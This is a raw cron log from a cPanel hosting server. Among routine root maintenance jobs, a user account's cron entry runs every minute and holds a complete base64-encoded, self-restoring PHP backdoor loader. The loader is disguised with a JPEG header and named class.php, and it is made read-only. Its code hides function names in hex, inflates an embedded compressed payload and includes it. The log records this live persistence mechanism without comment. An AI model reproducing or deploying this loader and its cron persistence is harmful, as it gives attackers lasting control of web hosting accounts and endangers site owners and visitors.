Sep  3 21:53:01 server CROND[17126]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:54:01 server CROND[17487]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:54:01 server CROND[17488]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:54:01 server CROND[17489]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:55:01 server CROND[17878]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:55:01 server CROND[17884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:55:01 server CROND[17886]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 21:55:01 server CROND[17888]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 21:55:01 server CROND[17891]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 21:55:01 server CROND[17890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:55:01 server CROND[17889]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 21:56:01 server CROND[18711]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:56:01 server CROND[18712]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:56:01 server CROND[18713]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:57:01 server CROND[19185]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  3 21:57:01 server CROND[19186]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:57:01 server CROND[19188]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:57:01 server CROND[19187]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:58:01 server CROND[19562]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:58:01 server CROND[19563]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 21:58:01 server CROND[19564]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:59:01 server CROND[19944]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 21:59:01 server CROND[19945]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 21:59:01 server CROND[19946]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:00:01 server CROND[20330]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:00:01 server CROND[20334]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  3 22:00:01 server CROND[20336]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:00:01 server CROND[20335]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  3 22:00:01 server CROND[20339]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:00:01 server CROND[20337]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  3 22:00:01 server CROND[20338]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  3 22:00:01 server CROND[20340]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:00:01 server CROND[20332]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  3 22:00:01 server CROND[20333]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  3 22:01:01 server CROND[21201]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:01:01 server CROND[21202]: (root) CMD (run-parts /etc/cron.hourly)
Sep  3 22:01:01 server CROND[21203]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:01:01 server CROND[21204]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:01:01 server run-parts(/etc/cron.hourly)[21202]: starting 0anacron
Sep  3 22:01:01 server run-parts(/etc/cron.hourly)[21224]: finished 0anacron
Sep  3 22:02:01 server CROND[21645]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:02:01 server CROND[21647]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:02:01 server CROND[21646]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:03:01 server CROND[22052]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:03:01 server CROND[22051]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:03:01 server CROND[22053]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:04:01 server CROND[22414]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  3 22:04:01 server CROND[22415]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  3 22:04:01 server CROND[22416]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  3 22:05:01 server CROND[22876]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  3 22:05:01 server CROND[22899]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
